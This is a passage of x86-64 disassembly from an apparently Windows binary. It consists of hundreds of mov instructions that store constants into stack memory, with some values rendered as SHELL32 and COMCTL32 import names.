mov eax, 0x6e5
mov word [rsp + 0x19d4], ax
mov dword [rsp + 0x5f64], 0x2251fab1
movabs rax, 0x7369dc2637edd2
mov qword [rsp + 0xb708], rax
mov byte [rsp + 0x2c1], 0x67
mov eax, 0x64d
mov word [rsp + 0x19d8], ax
mov eax, 0x57d
mov word [rsp + 0x19dc], ax
movabs rax, 0x799f07b44c86dd
mov qword [rsp + 0xb710], rax
mov dword [rsp + 0x5f68], 0x55ad815b
movabs rax, 0x7a10bdc5bfce88
mov qword [rsp + 0xb718], rax
mov eax, 0xae5
mov word [rsp + 0x19e0], ax
mov byte [rsp + 0x2c2], 0x37
movabs rax, 0x7771bc44286b05
mov qword [rsp + 0xb720], rax
mov byte [rsp + 0x2c3], ILIsEqual
mov eax, 0x372
mov word [rsp + 0x19e4], ax
mov eax, 0x12b
mov word [rsp + 0x19e8], ax
movabs rax, 0x79fe73f0c8c534
mov qword [rsp + 0xb728], rax
mov dword [rsp + 0x5f6c], 0x5d338009
movabs rax, 0x713b088c15c919
mov qword [rsp + 0xb730], rax
mov byte [rsp + 0x2c4], 0xf8
mov dword [rsp + 0x5f70], 0x4dd88a29
movabs rax, 0x79a07e3fc0bfa7
mov qword [rsp + 0xb738], rax
mov byte [rsp + 0x2c5], 0x5d
mov dword [rsp + 0x5f74], 0x1a11
mov eax, 0xeaf
mov word [rsp + 0x19ec], ax
mov eax, 0xf5c
mov word [rsp + 0x19f0], ax
mov byte [rsp + 0x2c6], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x5f78], 0x5cb6451e
movabs rax, 0x7204a249e540fa
mov qword [rsp + 0xb740], rax
mov byte [rsp + 0x2c7], 0x30
mov byte [rsp + 0x2c8], ILFindLastID
movabs rax, 0x78b9a2172142d6
mov qword [rsp + 0xb748], rax
mov byte [rsp + 0x2c9], PathYetAnotherMakeUniqueName
mov eax, 0x65a
mov word [rsp + 0x19f4], ax
mov dword [rsp + 0x5f7c], 0x500e
mov eax, 0x534
mov word [rsp + 0x19f8], ax
mov byte [rsp + 0x2ca], 8
mov eax, 0x80c
mov word [rsp + 0x19fc], ax
mov byte [rsp + 0x2cb], 0x21
movabs rax, 0x7a997113b7fd29
mov qword [rsp + 0xb750], rax
mov eax, 0x410
mov word [rsp + 0x1a00], ax
mov eax, 0x612
mov word [rsp + 0x1a04], ax
mov eax, 0x7b6
mov word [rsp + 0x1a08], ax
mov eax, 0xf7e
mov word [rsp + 0x1a0c], ax
mov byte [rsp + 0x2cc], SHDoDragDrop
movabs rax, 0x73d5b781686910
mov qword [rsp + 0xb758], rax
movabs rax, 0x7b284ab54f2a6f
mov qword [rsp + 0xb760], rax
mov dword [rsp + 0x5f80], 0x15539f73
movabs rax, 0x7946cd8003317d
mov qword [rsp + 0xb768], rax
movabs rax, 0x756e7a541998f6
mov qword [rsp + 0xb770], rax
mov byte [rsp + 0x2cd], 0xed
mov dword [rsp + 0x5f84], 0x818
mov dword [rsp + 0x5f88], 0x74f2
mov byte [rsp + 0x2ce], 0x23
mov dword [rsp + 0x5f8c], 0x78a5
movabs rax, 0x7b1784020e03d5
mov qword [rsp + 0xb778], rax
movabs rax, 0x705191f2817902
mov qword [rsp + 0xb780], rax
mov eax, 0x64a
mov word [rsp + 0x1a10], ax
movabs rax, 0x7e8715a459583d
mov qword [rsp + 0xb788], rax
mov dword [rsp + 0x5f90], 0x9923
movabs rax, 0x75586648b6dd24
mov qword [rsp + 0xb790], rax
mov eax, 0xd0b
mov word [rsp + 0x1a14], ax
mov dword [rsp + 0x5f94], 0x24339f5c
mov byte [rsp + 0x2cf], 0x25
mov byte [rsp + 0x2d0], reloc.COMCTL32.dll_MakeDragList
mov eax, 0x4d1
mov word [rsp + 0x1a18], ax
movabs rax, 0x775fd651ab59e6
mov qword [rsp + 0xb798], rax
movabs rax, 0x7b2cc1b5eb0d1e
mov qword [rsp + 0xb7a0], rax
mov dword [rsp + 0x5f98], 0xdf12
movabs rax, 0x7cc7c635a6b8a7
mov qword [rsp + 0xb7a8], rax
movabs rax, 0x70e74c4548684a
mov qword [rsp + 0xb7b0], rax
mov eax, 0x64d
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x5f9c], 0x1ae2dcbf
mov byte [rsp + 0x2d1], SHDoDragDrop
mov byte [rsp + 0x2d2], ILSaveToStream
mov dword [rsp + 0x5fa0], 0x3f40
mov eax, 0x72b
mov word [rsp + 0x1a20], ax
mov dword [rsp + 0x5fa4], 0xa8e3
mov eax, 0x82e
mov word [rsp + 0x1a24], ax
mov dword [rsp + 0x5fa8], 0xddae
mov byte [rsp + 0x2d3], 0x43
mov eax, 0x243
mov word [rsp + 0x1a28], ax
mov eax, 0xef
mov word [rsp + 0x1a2c], ax
movabs rax, 0x7097356b8281d5
mov qword [rsp + 0xb7b8], rax
mov dword [rsp + 0x5fac], 0x5c0f388e
mov eax, 0x238
mov word [rsp + 0x1a30], ax
movabs rax, 0x78329945d051c1
mov qword [rsp + 0xb7c0], rax
movabs rax, 0x78b6f609aaa3c4
mov qword [rsp + 0xb7c8], rax
mov dword [rsp + 0x5fb0], 0xa24a
mov byte [rsp + 0x2d4], 6
mov eax, 0x6b1
mov word [rsp + 0x1a34], ax
mov eax, 0x665
mov word [rsp + 0x1a38], ax
movabs rax, 0x74c9ed8da79e58
mov qword [rsp + 0xb7d0], rax
mov eax, 0xda3
mov word [rsp + 0x1a3c], ax
movabs rax, 0x7dbe22e9b3411b
mov qword [rsp + 0xb7d8], rax
mov eax, 0xd45
mov word [rsp + 0x1a40], ax
movabs rax, 0x7b8245d29db20b
mov qword [rsp + 0xb7e0], rax
mov eax, 0x720
mov word [rsp + 0x1a44], ax
mov dword [rsp + 0x5fb4], 0x2d20bc15
mov eax, 0xaa9
mov word [rsp + 0x1a48], ax
mov eax, 0xe21
mov word [rsp + 0x1a4c], ax
mov eax, 0xd9b
mov word [rsp + 0x1a50], ax
movabs rax, 0x78e28b637564b4
mov qword [rsp + 0xb7e8], rax
mov eax, 0x4de
mov word [rsp + 0x1a54], ax
mov eax, 0x549
mov word [rsp + 0x1a58], ax
mov eax, 0x62e
mov word [rsp + 0x1a5c], ax
mov eax, 0x3b8
mov word [rsp + 0x1a60], ax
mov eax, 0x408
mov word [rsp + 0x1a64], ax
mov eax, 0x2c2
mov word [rsp + 0x1a68], ax
mov eax, 0x326
mov word [rsp + 0x1a6c], ax
mov byte [rsp + 0x2d5], PathMakeUniqueName
mov byte [rsp + 0x2d6], 0x34
mov eax, 0x380
mov word [rsp + 0x1a70], ax
mov eax, 0x295
mov word [rsp + 0x1a74], ax
mov eax, 0x2ae
mov word [rsp + 0x1a78], ax
mov dword [rsp + 0x5fb8], 0x5ba7962c
mov eax, 0x71b
mov word [rsp + 0x1a7c], ax
mov byte [rsp + reloc.SHELL32.dll_SHGetImageList], 0x5b
mov eax, 0x8a2
mov word [rsp + 0x1a80], ax
movabs rax, 0x73804e7cf0f68b
mov qword [rsp + 0xb7f0], rax
mov dword [rsp + 0x5fbc], 0xcaa3
mov dword [rsp + 0x5fc0], 0x6ab8
mov eax, 0x5c
mov word [rsp + 0x1a84], ax
mov eax, 0x74a
mov word [rsp + 0x1a88], ax
movabs rax, 0x79a687fc9ed5c5
mov qword [rsp + 0xb7f8], rax
mov eax, 0x279
mov word [rsp + 0x1a8c], ax
mov byte [rsp + 0x2d8], 0xd4
mov byte [rsp + 0x2d9], 0x1e
mov eax, 0x17a
mov word [rsp + 0x1a90], ax
mov dword [rsp + 0x5fc4], 0x4b1b22ba
mov eax, 0xb5a
mov word [rsp + 0x1a94], ax
mov dword [rsp + 0x5fc8], 0x731ee106
mov eax, 0xc1
mov word [rsp + 0x1a98], ax
mov byte [rsp + 0x2da], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x7cb4dd8b8fc03d
mov qword [rsp + 0xb800], rax
movabs rax, 0x70e45083af7a4c
mov qword [rsp + 0xb808], rax
mov byte [rsp + 0x2db], 0xd5
movabs rax, 0x7a9bc8776e0ddf
mov qword [rsp + 0xb810], rax
mov eax, 0xa6
mov word [rsp + 0x1a9c], ax
mov eax, 0xe66
mov word [rsp + 0x1aa0], ax
mov eax, 0x4c7
mov word [rsp + 0x1aa4], ax
mov eax, 0x8e
mov word [rsp + 0x1aa8], ax
movabs rax, 0x724019012694f2
mov qword [rsp + 0xb818], rax
mov eax, 0x272
mov word [rsp + 0x1aac], ax
mov eax, 0x4e
mov word [rsp + 0x1ab0], ax
mov eax, 0xe3c
mov word [rsp + 0x1ab4], ax
mov eax, 0x7d3
mov word [rsp + 0x1ab8], ax
movabs rax, 0x7b9e6747b72de9
mov qword [rsp + 0xb820], rax
mov byte [rsp + 0x2dc], 0x65
mov eax, 0x591
mov word [rsp + 0x1abc], ax
mov dword [rsp + 0x5fcc], 0xffc9
movabs rax, 0x7cf010ba5a3a47
mov qword [rsp + 0xb828], rax
mov eax, 0x7d
mov word [rsp + 0x1ac0], ax
mov byte [rsp + 0x2dd], SHSetInstanceExplorer
mov dword [rsp + 0x5fd0], 0xad
mov dword [rsp + 0x5fd4], 0x1bf2
mov eax, 0x3dd
mov word [rsp + 0x1ac4], ax
mov dword [rsp + 0x5fd8], 0x4f627cdd
mov dword [rsp + 0x5fdc], 0x8393
movabs rax, 0x72fc90da6a6a22
mov qword [rsp + 0xb830], rax
movabs rax, 0x7b989244f43d5b
mov qword [rsp + 0xb838], rax
movabs rax, 0x7d87c68414d67e
mov qword [rsp + 0xb840], rax
movabs rax, 0x7cfc066368a961
mov qword [rsp + 0xb848], rax
mov eax, 0x350
mov word [rsp + 0x1ac8], ax
mov dword [rsp + 0x5fe0], 0x9157
mov byte [rsp + 0x2de], 0x4f
mov eax, 0x15c
mov word [rsp + 0x1acc], ax
mov dword [rsp + 0x5fe4], 0x383c
mov byte [rsp + 0x2df], 0x4d
movabs rax, 0x7919617b025ca0
mov qword [rsp + 0xb850], rax
mov eax, 0x1b5
mov word [rsp + 0x1ad0], ax
mov eax, 0x512
mov word [rsp + 0x1ad4], ax
mov eax, 0xbc3
mov word [rsp + 0x1ad8], ax
mov dword [rsp + 0x5fe8], 0xcd40
movabs rax, 0x7b99525792b3f9
mov qword [rsp + 0xb858], rax
mov byte [rsp + 0x2e0], 0x25
mov eax, 0x530
mov word [rsp + 0x1adc], ax
movabs rax, 0x7d7075a3eb8d44
mov qword [rsp + 0xb860], rax
mov dword [rsp + 0x5fec], 0xd693
mov eax, 0x3e5
mov word [rsp + 0x1ae0], ax
movabs rax, 0x749143edca4714
mov qword [rsp + 0xb868], rax
mov eax, 0x5a9
mov word [rsp + 0x1ae4], ax
movabs rax, 0x774b88ccbdd217
mov qword [rsp + 0xb870], rax
mov dword [rsp + 0x5ff0], 0x301ab0a0
mov byte [rsp + 0x2e1], 0x9d
movabs rax, 0x7832e0e1fbb501
mov qword [rsp + 0xb878], rax
mov byte [rsp + 0x2e2], 0x59
mov byte [rsp + 0x2e3], PathMakeUniqueName
mov eax, 0x639
mov word [rsp + 0x1ae8], ax
mov eax, 0x6e7
mov word [rsp + 0x1aec], ax
mov eax, 0x1de
mov word [rsp + 0x1af0], ax
movabs rax, 0x7170201ce12103
mov qword [rsp + 0xb880], rax
mov eax, 0xfa
mov word [rsp + 0x1af4], ax
mov byte [rsp + 0x2e4], 0x37
mov dword [rsp + 0x5ff4], 0x907
mov eax, 0x2b8
mov word [rsp + 0x1af8], ax
movabs rax, 0x78ebb71fd94707
mov qword [rsp + 0xb888], rax
mov dword [rsp + 0x5ff8], 0xdb85
movabs rax, 0x7c6abcbc663de9
mov qword [rsp + 0xb890], rax
mov dword [rsp + 0x5ffc], 0x1fd37fa2
mov eax, 0xa12
mov word [rsp + 0x1afc], ax
mov dword [rsp + 0x6000], 0x4aea
movabs rax, 0x72de172a456cc9
mov qword [rsp + 0xb898], rax
movabs rax, 0x7301512b05af37
mov qword [rsp + 0xb8a0], rax
mov byte [rsp + 0x2e5], 0x39
mov byte [rsp + 0x2e6], 2
mov eax, 0xb77
mov word [rsp + 0x1b00], ax
movabs rax, 0x777461bf8c193e
mov qword [rsp + 0xb8a8], rax
mov byte [rsp + 0x2e7], 0x37
mov eax, 0x33f
mov word [rsp + 0x1b04], ax
mov dword [rsp + 0x6004], 0xec16
movabs rax, 0x7ceebea49ff611
mov qword [rsp + 0xb8b0], rax
movabs rax, 0x7128473eb72dfd
mov qword [rsp + 0xb8b8], rax
mov byte [rsp + 0x2e8], 0x59
mov eax, 0x601
mov word [rsp + 0x1b08], ax
mov byte [rsp + 0x2e9], 0x50
movabs rax, 0x7300447320e2dd
mov qword [rsp + 0xb8c0], rax
mov eax, 0x202
mov word [rsp + 0x1b0c], ax
mov dword [rsp + 0x6008], 0x3d2d3ab8
movabs rax, 0x787027b2735352
mov qword [rsp + 0xb8c8], rax
mov dword [rsp + 0x600c], 0x8a4a
movabs rax, 0x7a9d70d38ba58c
mov qword [rsp + 0xb8d0], rax
mov dword [rsp + 0x6010], 0x2e597d14
movabs rax, 0x792c1b41bee433
mov qword [rsp + 0xb8d8], rax
mov eax, 0x290
mov word [rsp + 0x1b10], ax
movabs rax, 0x76da3b5b3ba534
mov qword [rsp + 0xb8e0], rax
movabs rax, 0x707b577636cbea
mov qword [rsp + 0xb8e8], rax
mov dword [rsp + 0x6014], 0xddbc
mov dword [rsp + 0x6018], 0xfbed
mov eax, 0x660
mov word [rsp + 0x1b14], ax
mov byte [rsp + 0x2ea], 0xa
mov eax, 0xe22
mov word [rsp + 0x1b18], ax
mov byte [rsp + 0x2eb], 0xed
mov dword [rsp + 0x601c], 0x2ba5
movabs rax, 0x7e2a07c545fa68
mov qword [rsp + 0xb8f0], rax
movabs rax, 0x78caf5383a28a2
mov qword [rsp + 0xb8f8], rax
movabs rax, 0x76988725f3c5a3
mov qword [rsp + 0xb900], rax
mov byte [rsp + 0x2ec], 0x72
movabs rax, 0x75a4f25db1b025
mov qword [rsp + 0xb908], rax
mov eax, 0xdef
mov word [rsp + 0x1b1c], ax
mov eax, 0x20a
mov word [rsp + 0x1b20], ax
mov eax, 0x682
mov word [rsp + 0x1b24], ax
mov eax, 0x17f
mov word [rsp + 0x1b28], ax
movabs rax, 0x71701679f1d71d
mov qword [rsp + 0xb910], rax
mov dword [rsp + 0x6020], 0xc6dc
movabs rax, 0x767dea08896977
mov qword [rsp + 0xb918], rax
mov dword [rsp + 0x6024], 0xad98
mov eax, 0xa43
mov word [rsp + 0x1b2c], ax
movabs rax, 0x7148af24238053
mov qword [rsp + 0xb920], rax
mov eax, 0x9f
mov word [rsp + 0x1b30], ax
movabs rax, 0x75293d9d47be0a
mov qword [rsp + 0xb928], rax
mov eax, 0x122
mov word [rsp + 0x1b34], ax
mov byte [rsp + 0x2ed], reloc.SHELL32.dll_ILIsEqual
mov byte [rsp + 0x2ee], 0x76
mov eax, 0x7e6
mov word [rsp + 0x1b38], ax
movabs rax, 0x79a20f085a5245
mov qword [rsp + 0xb930], rax
mov eax, 0x719
mov word [rsp + 0x1b3c], ax
mov eax, 0xa52
mov word [rsp + 0x1b40], ax
mov eax, 0x610
mov word [rsp + 0x1b44], ax
movabs rax, 0x78065eb5ce6958
mov qword [rsp + 0xb938], rax
mov dword [rsp + 0x6028], 0x816c
movabs rax, 0x7d5e047d1e0dcd
mov qword [rsp + 0xb940], rax
mov dword [rsp + 0x602c], 0xbe8aac3
mov eax, 0x614
mov word [rsp + 0x1b48], ax
mov eax, 0x2b1
mov word [rsp + 0x1b4c], ax
mov dword [rsp + 0x6030], 0xbf1a
movabs rax, 0x7b40021941405b
mov qword [rsp + 0xb948], rax
mov eax, 0x869
mov word [rsp + 0x1b50], ax
mov eax, 0x512
mov word [rsp + 0x1b54], ax
mov dword [rsp + 0x6034], 0xe237
movabs rax, 0x77da01046bcf60
mov qword [rsp + 0xb950], rax
mov byte [rsp + 0x2ef], 0x22
mov eax, 0xd9
mov word [rsp + 0x1b58], ax
mov dword [rsp + 0x6038], 0x9cfb
mov eax, 0xa26
mov word [rsp + 0x1b5c], ax
movabs rax, 0x74023f5421c7c3
mov qword [rsp + 0xb958], rax
mov eax, 0x750
mov word [rsp + 0x1b60], ax
movabs rax, 0x738464bd8304c1
mov qword [rsp + 0xb960], rax
mov eax, 0xa19
mov word [rsp + 0x1b64], ax
mov byte [rsp + 0x2f0], 0x3f
movabs rax, 0x7bf1db4dd1b6de
mov qword [rsp + 0xb968], rax
mov eax, 0x267
mov word [rsp + 0x1b68], ax
movabs rax, 0x7d68bb23ffd308
mov qword [rsp + 0xb970], rax
mov byte [rsp + 0x2f1], 0xa0
mov eax, 0x44e
mov word [rsp + 0x1b6c], ax
movabs rax, 0x718591aafd7d0d
mov qword [rsp + 0xb978], rax
mov eax, 0x8b
mov word [rsp + 0x1b70], ax
movabs rax, 0x75c3330ef6d82b
mov qword [rsp + 0xb980], rax
mov byte [rsp + 0x2f2], 0x22
movabs rax, 0x7926e658912d75
mov qword [rsp + 0xb988], rax
mov byte [rsp + 0x2f3], 0x23
mov byte [rsp + 0x2f4], PathMakeUniqueName
mov eax, 0x479
mov word [rsp + 0x1b74], ax
mov eax, 0xd02
mov word [rsp + 0x1b78], ax
mov dword [rsp + 0x603c], 0xca22
mov byte [rsp + 0x2f5], PathYetAnotherMakeUniqueName
movabs rax, 0x71d036a7d5b9cd
mov qword [rsp + 0xb990], rax
movabs rax, 0x7839521f170aed
mov qword [rsp + 0xb998], rax
mov eax, 0x47a
mov word [rsp + 0x1b7c], ax
mov eax, 0x356
mov word [rsp + 0x1b80], ax
mov byte [rsp + 0x2f6], reloc.SHELL32.dll_ILClone
mov byte [rsp + 0x2f7], 0xd4
mov eax, 0xbd6
mov word [rsp + 0x1b84], ax
mov dword [rsp + 0x6040], 0x386
mov byte [rsp + 0x2f8], 8
movabs rax, 0x712da7ff7c7983
mov qword [rsp + 0xb9a0], rax
movabs rax, 0x7db544145a6f29
mov qword [rsp + 0xb9a8], rax
movabs rax, 0x79774979fd588d
mov qword [rsp + 0xb9b0], rax
mov dword [rsp + 0x6044], 0x2c9f506f
mov byte [rsp + 0x2f9], 0x3c
movabs rax, 0x7de23ad2116e95
mov qword [rsp + 0xb9b8], rax
mov dword [rsp + 0x6048], 0x3c6a7214
movabs rax, 0x7cf75ae78170b4
mov qword [rsp + 0xb9c0], rax
mov eax, 0xfc4
mov word [rsp + 0x1b88], ax
movabs rax, 0x742f8d54181d4f
mov qword [rsp + 0xb9c8], rax
movabs rax, 0x77e91149e7ce76
mov qword [rsp + 0xb9d0], rax
mov eax, 0x293
mov word [rsp + 0x1b8c], ax
movabs rax, 0x7c706c35f163b4
mov qword [rsp + 0xb9d8], rax
mov eax, 0xd00
mov word [rsp + 0x1b90], ax
movabs rax, 0x7b185ec88d63c6
mov qword [rsp + 0xb9e0], rax
mov eax, 0xf57
mov word [rsp + 0x1b94], ax
mov byte [rsp + 0x2fa], 0x39
movabs rax, 0x772212062eedad
mov qword [rsp + 0xb9e8], rax
mov dword [rsp + 0x604c], 0x51540b07
movabs rax, 0x748a50dc16735d
mov qword [rsp + 0xb9f0], rax
mov eax, 0xbce
mov word [rsp + 0x1b98], ax
movabs rax, 0x76c1cc0eda51a4
mov qword [rsp + 0xb9f8], rax
mov eax, 0xaec
mov word [rsp + 0x1b9c], ax
movabs rax, 0x72316f775f46b5
mov qword [rsp + 0xba00], rax
mov eax, 0xd0d
mov word [rsp + 0x1ba0], ax
mov dword [rsp + 0x6050], 0x1047
movabs rax, 0x7d2a959435cefe
mov qword [rsp + 0xba08], rax
mov dword [rsp + 0x6054], 0x147d753d
mov eax, 0x8de
mov word [rsp + 0x1ba4], ax
movabs rax, 0x72c2479af4b0ea
mov qword [rsp + 0xba10], rax
mov byte [rsp + 0x2fb], 0x75
movabs rax, 0x725517d72872a6
mov qword [rsp + 0xba18], rax
movabs rax, 0x7a692ead0c3721
mov qword [rsp + 0xba20], rax
mov eax, 0x5fa
mov word [rsp + 0x1ba8], ax
movabs rax, 0x70c712956a79e3
mov qword [rsp + 0xba28], rax
movabs rax, 0x79d942621d1259
mov qword [rsp + 0xba30], rax
mov dword [rsp + 0x6058], 0xb185
mov eax, 0xcb4
mov word [rsp + 0x1bac], ax
movabs rax, 0x7e014fdd330108
mov qword [rsp + 0xba38], rax
mov eax, 0x3e9
mov word [rsp + 0x1bb0], ax
movabs rax, 0x7c36e73cb0b6a7
mov qword [rsp + 0xba40], rax
mov eax, 0x5fa
mov word [rsp + 0x1bb4], ax
mov byte [rsp + 0x2fc], 0x4e
mov eax, 0xa13
mov word [rsp + 0x1bb8], ax
movabs rax, 0x7df3ab68131aea
mov qword [rsp + 0xba48], rax
movabs rax, 0x7d255833089e49
mov qword [rsp + 0xba50], rax
mov byte [rsp + 0x2fd], 0x61
movabs rax, 0x7e5f1633eeb42c
mov qword [rsp + 0xba58], rax
mov dword [rsp + 0x605c], 0x559
mov dword [rsp + 0x6060], 0xcd24
mov eax, 0x142
mov word [rsp + 0x1bbc], ax
mov byte [rsp + 0x2fe], 0x35
mov byte [rsp + 0x2ff], PathYetAnotherMakeUniqueName
mov eax, 0x5d4
mov word [rsp + 0x1bc0], ax
movabs rax, 0x787674459b5ced
mov qword [rsp + 0xba60], rax
mov eax, 0x21f
mov word [rsp + 0x1bc4], ax
movabs rax, 0x787cf968e0129c
mov qword [rsp + 0xba68], rax
movabs rax, 0x7b204a081a456b
mov qword [rsp + 0xba70], rax
mov eax, 0x6d4
mov word [rsp + 0x1bc8], ax
mov byte [rsp + 0x300], SHDoDragDrop
mov eax, 0xeb7
mov word [rsp + 0x1bcc], ax
mov eax, 0xc1b
mov word [rsp + 0x1bd0], ax
mov eax, 0x81c
mov word [rsp + 0x1bd4], ax
mov byte [rsp + 0x301], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x6064], 0x532d0d8c
mov dword [rsp + 0x6068], 0x3b9dddeb
mov dword [rsp + 0x606c], 0x47165483
mov eax, 0x6c2
mov word [rsp + 0x1bd8], ax
movabs rax, 0x73f076306dd2cd
mov qword [rsp + 0xba78], rax
movabs rax, 0x7a10fdb9d4d63b
mov qword [rsp + 0xba80], rax
mov eax, 0xb14
mov word [rsp + 0x1bdc], ax
mov byte [rsp + 0x302], reloc.SHELL32.dll_ILGetSize
mov eax, 0x4bb
mov word [rsp + 0x1be0], ax
mov byte [rsp + 0x303], 0x59
mov eax, 0x35a
mov word [rsp + 0x1be4], ax
mov eax, 0x438
mov word [rsp + 0x1be8], ax
mov byte [rsp + 0x304], 0x9e
mov byte [rsp + 0x305], PathYetAnotherMakeUniqueName
mov eax, 0xf56
mov word [rsp + 0x1bec], ax
mov dword [rsp + 0x6070], 0x1a87
mov dword [rsp + 0x6074], 0x2e410f0f
mov dword [rsp + 0x6078], 0xa345b85
movabs rax, 0x72b4212545af55
mov qword [rsp + 0xba88], rax
mov eax, 0xcd
mov word [rsp + 0x1bf0], ax
movabs rax, 0x7dcf938bb98dbe
mov qword [rsp + 0xba90], rax
mov eax, 0xc5f
mov word [rsp + 0x1bf4], ax
mov dword [rsp + 0x607c], 0x24f8
mov eax, 0x7e6
mov word [rsp + 0x1bf8], ax
mov eax, 0x319
mov word [rsp + 0x1bfc], ax
mov eax, 0x3cf
mov word [rsp + 0x1c00], ax
mov eax, 0x207
mov word [rsp + 0x1c04], ax
movabs rax, 0x712cd57f36c146
mov qword [rsp + 0xba98], rax
mov eax, ILFree
mov word [rsp + 0x1c08], ax
movabs rax, 0x7da248ebe9c65b
mov qword [rsp + 0xbaa0], rax
mov byte [rsp + 0x306], 0x6c
movabs rax, 0x7bb8ac6f98c708
mov qword [rsp + 0xbaa8], rax
mov dword [rsp + 0x6080], 0x58d5
mov byte [rsp + 0x307], 0x22
mov eax, 0x6bf
mov word [rsp + 0x1c0c], ax
mov eax, 0xd14
mov word [rsp + 0x1c10], ax
movabs rax, 0x7ab557d6d25693
mov qword [rsp + 0xbab0], rax
mov dword [rsp + 0x6084], 0x5cfa
mov byte [rsp + 0x308], 0xde
movabs rax, 0x7b116913fa4e4e
mov qword [rsp + 0xbab8], rax
mov byte [rsp + 0x309], 0x3e
mov dword [rsp + 0x6088], 0x775f873b
mov byte [rsp + 0x30a], 8
mov byte [rsp + 0x30b], 0xa8
mov eax, 0x751
mov word [rsp + 0x1c14], ax
mov eax, 0x72
mov word [rsp + 0x1c18], ax
mov eax, 0xd7
mov word [rsp + 0x1c1c], ax
mov dword [rsp + 0x608c], 0x24f5
mov dword [rsp + 0x6090], 0x3605
mov dword [rsp + 0x6094], 0x796dda81
mov dword [rsp + 0x6098], 0x1ff2
mov dword [rsp + 0x609c], 0x3e0f9c4d
mov eax, 0xab1
mov word [rsp + 0x1c20], ax
mov eax, 0x350
mov word [rsp + 0x1c24], ax
mov byte [rsp + 0x30c], SHTestTokenMembership
mov eax, 0x1d7
mov word [rsp + 0x1c28], ax
movabs rax, 0x70fb7d304ce817
mov qword [rsp + 0xbac0], rax
mov byte [rsp + 0x30d], 0xe5
mov dword [rsp + 0x60a0], 0x429116fa
movabs rax, 0x7c396cddc2fbb2
mov qword [rsp + 0xbac8], rax
mov eax, 0xb60
mov word [rsp + 0x1c2c], ax
mov byte [rsp + 0x30e], 0xf6
movabs rax, 0x75241e655102a6
mov qword [rsp + 0xbad0], rax
mov dword [rsp + 0x60a4], 0x856f1cf
mov eax, 0x535
mov word [rsp + 0x1c30], ax
movabs rax, 0x726dc330aba65f
mov qword [rsp + 0xbad8], rax
mov byte [rsp + 0x30f], 6
mov eax, 0x6fd
mov word [rsp + 0x1c34], ax
mov dword [rsp + 0x60a8], 0x2789ce50
mov eax, 0x8c
mov word [rsp + 0x1c38], ax
mov eax, 0x6ff
mov word [rsp + 0x1c3c], ax
mov byte [rsp + 0x310], 0x74
mov byte [rsp + 0x311], 0xd4
mov byte [rsp + 0x312], PathMakeUniqueName
mov eax, 0x177
mov word [rsp + 0x1c40], ax
movabs rax, 0x7b453bf5c9d6b0
mov qword [rsp + 0xbae0], rax
movabs rax, 0x77969102b7e026
mov qword [rsp + 0xbae8], rax
mov dword [rsp + 0x60ac], 0xd3eb
mov byte [rsp + 0x313], 0x3f
mov byte [rsp + 0x314], 0x72
movabs rax, 0x70a9f1b1553940
mov qword [rsp + 0xbaf0], rax
mov dword [rsp + 0x60b0], 0x1d6f1c16
mov dword [rsp + 0x60b4], 0x14012315
mov eax, 0x9e
mov word [rsp + 0x1c44], ax
mov eax, 0x33a
mov word [rsp + 0x1c48], ax
mov eax, 0x55e
mov word [rsp + 0x1c4c], ax
mov eax, 0xefd
mov word [rsp + 0x1c50], ax
mov dword [rsp + 0x60b8], 0x32f34aad
mov byte [rsp + 0x315], 0xc0
mov dword [rsp + 0x60bc], 0x6be4b2cd
movabs rax, 0x7a78bfe5e9c9eb
mov qword [rsp + 0xbaf8], rax
mov byte [rsp + 0x316], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x7dc72a0ddef064
mov qword [rsp + 0xbb00], rax
movabs rax, 0x7826034b40caf0
mov qword [rsp + 0xbb08], rax
movabs rax, 0x72c58518e06cd2
mov qword [rsp + 0xbb10], rax
mov eax, 0x5f2
mov word [rsp + 0x1c54], ax
mov eax, 0x4cd
mov word [rsp + 0x1c58], ax
mov dword [rsp + 0x60c0], 0x4322
mov eax, 0xbcb
mov word [rsp + 0x1c5c], ax
mov eax, 0x7b6
mov word [rsp + 0x1c60], ax
movabs rax, 0x70a977acfec9c8
mov qword [rsp + 0xbb18], rax
mov eax, 0x21
mov word [rsp + 0x1c64], ax
mov dword [rsp + 0x60c4], 0x10c3adfa
mov eax, 0x31f
mov word [rsp + 0x1c68], ax
mov byte [rsp + 0x317], 0x34
movabs rax, 0x72677421ff1c69
mov qword [rsp + 0xbb20], rax
mov eax, 0x2cb
mov word [rsp + 0x1c6c], ax
mov dword [rsp + 0x60c8], 0xcc8b
mov dword [rsp + 0x60cc], 0x1babae7
mov byte [rsp + 0x318], 0x34
mov dword [rsp + 0x60d0], 0x1e644f5f
mov dword [rsp + 0x60d4], 0x463a
mov dword [rsp + 0x60d8], 0x6343
movabs rax, 0x746298704a67cd
mov qword [rsp + 0xbb28], rax
mov dword [rsp + 0x60dc], 0xcc37
mov dword [rsp + 0x60e0], 0x2247
mov byte [rsp + 0x319], 0x22
mov eax, 0x7f1
mov word [rsp + 0x1c70], ax
movabs rax, 0x74ebc4fba2a0df
mov qword [rsp + 0xbb30], rax
mov byte [rsp + 0x31a], 0x3a
movabs rax, 0x7c6f4aef912171
mov qword [rsp + 0xbb38], rax
mov eax, 0x5d5
mov word [rsp + 0x1c74], ax
mov eax, 0x3de
mov word [rsp + 0x1c78], ax
mov eax, 0x75f
mov word [rsp + 0x1c7c], ax
mov dword [rsp + 0x60e4], 0xdebd
movabs rax, 0x7481b5f980dee3
mov qword [rsp + 0xbb40], rax
movabs rax, 0x73c1dcc47d1ede
mov qword [rsp + 0xbb48], rax
mov eax, 0xc19
mov word [rsp + 0x1c80], ax
mov eax, 0x2d9
mov word [rsp + 0x1c84], ax
movabs rax, 0x7347fe2f13b30e
mov qword [rsp + 0xbb50], rax
mov byte [rsp + 0x31b], PathMakeUniqueName
movabs rax, 0x781385530a0760
mov qword [rsp + 0xbb58], rax
mov eax, 0xd55
mov word [rsp + 0x1c88], ax
movabs rax, 0x7ac509ae800409
mov qword [rsp + 0xbb60], rax
movabs rax, 0x73cf74e88b0f7f
mov qword [rsp + 0xbb68], rax
mov dword [rsp + 0x60e8], 0xd34b
mov eax, 0x1a7
mov word [rsp + 0x1c8c], ax
movabs rax, 0x7c7c53acba3d43
mov qword [rsp + 0xbb70], rax
movabs rax, 0x7814bd446dbbd2
mov qword [rsp + 0xbb78], rax
